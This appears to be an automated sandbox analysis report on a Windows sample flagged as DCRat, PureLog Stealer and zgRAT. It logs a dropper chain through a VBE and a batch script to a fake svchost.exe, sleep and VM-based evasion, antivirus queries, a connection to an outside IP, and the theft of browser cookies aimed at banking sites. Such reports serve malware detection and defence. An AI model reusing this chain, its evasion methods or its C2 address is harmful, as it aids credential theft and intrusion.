                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -587016s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -586625s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -586141s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -585560s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -584531s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -584045s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -583672s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -583141s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -582922s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -582438s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -581906s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -581563s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -581297s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -580813s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -580438s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -579844s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -579453s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -579078s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -578813s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -578266s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -578110s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577995s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577886s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577767s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577641s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577525s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577421s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577310s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577203s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -577093s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exe TID: 1456Thread sleep time: -576984s >= -30000sJump to behavior
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                              Source: C:\comref\svchost.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002EA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_002EA69B
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_002FC220
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_0030B348 FindFirstFileExA,0_2_0030B348
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FE6A3 VirtualQuery,GetSystemInfo,0_2_002FE6A3
                              Source: C:\comref\svchost.exeThread delayed: delay time: 30000Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 600000Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 599875Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 599750Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 599469Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 3600000Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 598561Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597891Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597594Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597401Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597250Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 597016Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 596703Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 596375Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 596188Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595938Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595641Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595438Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 595078Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 594703Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 594266Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 593953Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 593625Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 593359Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 592766Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 592469Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 591984Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 591625Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 591125Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 590837Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 590500Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 589375Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 588969Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 588641Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 588219Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 587984Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 587766Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 587016Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 586625Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 586141Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 585560Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 584531Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 584045Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 583672Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 583141Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 582922Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 582438Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 581906Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 581563Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 581297Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 580813Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 580438Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 579844Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 579453Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 579078Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 578813Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 578266Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 578110Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577995Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577886Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577767Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577641Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577525Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577421Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577310Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577203Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 577093Jump to behavior
                              Source: C:\comref\svchost.exeThread delayed: delay time: 576984Jump to behavior
                              Source: NWrxbOzSkS.14.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
                              Source: NWrxbOzSkS.14.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
                              Source: NWrxbOzSkS.14.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231}
                              Source: NWrxbOzSkS.14.drBinary or memory string: interactivebrokers.co.inVMware20,11696492231d
                              Source: NWrxbOzSkS.14.drBinary or memory string: netportal.hdfcbank.comVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: outlook.office.comVMware20,11696492231s
                              Source: NWrxbOzSkS.14.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: AMC password management pageVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: interactivebrokers.comVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: microsoft.visualstudio.comVMware20,11696492231x
                              Source: ugRGgCJhQl.exe, 00000000.00000003.1237481545.00000000026D3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                              Source: NWrxbOzSkS.14.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
                              Source: NWrxbOzSkS.14.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: outlook.office365.comVMware20,11696492231t
                              Source: NWrxbOzSkS.14.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
                              Source: NWrxbOzSkS.14.drBinary or memory string: discord.comVMware20,11696492231f
                              Source: svchost.exe, 0000000E.00000002.3917020258.000000001C585000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                              Source: NWrxbOzSkS.14.drBinary or memory string: global block list test formVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: dev.azure.comVMware20,11696492231j
                              Source: NWrxbOzSkS.14.drBinary or memory string: www.interactivebrokers.comVMware20,11696492231}
                              Source: NWrxbOzSkS.14.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
                              Source: NWrxbOzSkS.14.drBinary or memory string: bankofamerica.comVMware20,11696492231x
                              Source: NWrxbOzSkS.14.drBinary or memory string: trackpan.utiitsl.comVMware20,11696492231h
                              Source: NWrxbOzSkS.14.drBinary or memory string: tasks.office.comVMware20,11696492231o
                              Source: NWrxbOzSkS.14.drBinary or memory string: account.microsoft.com/profileVMware20,11696492231u
                              Source: NWrxbOzSkS.14.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: ms.portal.azure.comVMware20,11696492231
                              Source: NWrxbOzSkS.14.drBinary or memory string: turbotax.intuit.comVMware20,11696492231t
                              Source: NWrxbOzSkS.14.drBinary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
                              Source: NWrxbOzSkS.14.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231x
                              Source: NWrxbOzSkS.14.drBinary or memory string: Interactive Brokers - HKVMware20,11696492231]
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeAPI call chain: ExitProcess graph end nodegraph_0-23905
                              Source: C:\comref\svchost.exeProcess information queried: ProcessInformationJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_002FF838
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_00307DEE mov eax, dword ptr fs:[00000030h]0_2_00307DEE
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_0030C030 GetProcessHeap,0_2_0030C030
                              Source: C:\comref\svchost.exeProcess token adjusted: DebugJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_002FF838
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FF9D5 SetUnhandledExceptionFilter,0_2_002FF9D5
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FFBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_002FFBCA
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_00308EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00308EBD
                              Source: C:\comref\svchost.exeMemory allocated: page read and write | page guardJump to behavior

                              HIPS / PFW / Operating System Protection Evasion

                              barindex
                              System process connects to network (likely due to code injection or exploit)
                              Source: C:\comref\svchost.exeNetwork Connect: 185.106.93.197 80Jump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comref\POAHIjOuJ41OH.vbe" Jump to behavior
                              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comref\dbCG2LHUCV1kAJJ.bat" "Jump to behavior
                              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\comref\svchost.exe "C:\comref/svchost.exe"Jump to behavior
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000006FCA000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3698250628.0000000004FAF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000004FAF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Managerosof
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FF654 cpuid 0_2_002FF654
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: GetLocaleInfoW,GetNumberFormatW,0_2_002FAF0F
                              Source: C:\comref\svchost.exeQueries volume information: C:\comref\svchost.exe VolumeInformationJump to behavior
                              Source: C:\comref\svchost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                              Source: C:\comref\svchost.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002FDF1E GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,0_2_002FDF1E
                              Source: C:\Users\user\Desktop\ugRGgCJhQl.exeCode function: 0_2_002EB146 GetVersionExW,0_2_002EB146
                              Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000002E74000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000043FC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: eC:/Users/All Users\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000056AF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000033BC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.000000000539C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.000000000383A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vC:/Users/All Users\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000005CCD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000004877000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000033BC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.000000000383A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000043FC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: eC:/Users/All Users\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: TC:/Users/All Users\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000002E74000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.000000000383A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.000000000383A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: TC:/Users/All Users\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000004A9C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.00000000046BF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vC:/Users/All Users\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                              Source: svchost.exe, 0000000E.00000002.3698250628.0000000005CCD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpEng.exe
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                              Source: C:\comref\svchost.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

                              Stealing of Sensitive Information

                              barindex
                              Yara detected DCRat
                              Source: Yara matchFile source: 0000000E.00000002.3783847798.0000000012AD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000000E.00000002.3698250628.0000000007095000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000000E.00000002.3698250628.00000000029D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 4340, type: MEMORYSTR
                              Yara detected PureLog Stealer
                              Source: Yara matchFile source: ugRGgCJhQl.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.69ee6cb.1.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 14.0.svchost.exe.230000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0000000E.00000000.1292145325.0000000000232000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.1235344386.00000000069A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.1234987945.0000000006090000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: C:\comref\svchost.exe, type: DROPPED
                              Yara detected zgRAT
                              Source: Yara matchFile source: ugRGgCJhQl.exe, type: SAMPLE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.69ee6cb.1.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 14.0.svchost.exe.230000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.3.ugRGgCJhQl.exe.60de6cb.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: C:\comref\svchost.exe, type: DROPPED
                              Tries to harvest and steal browser information (history, passwords, etc)
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shmJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
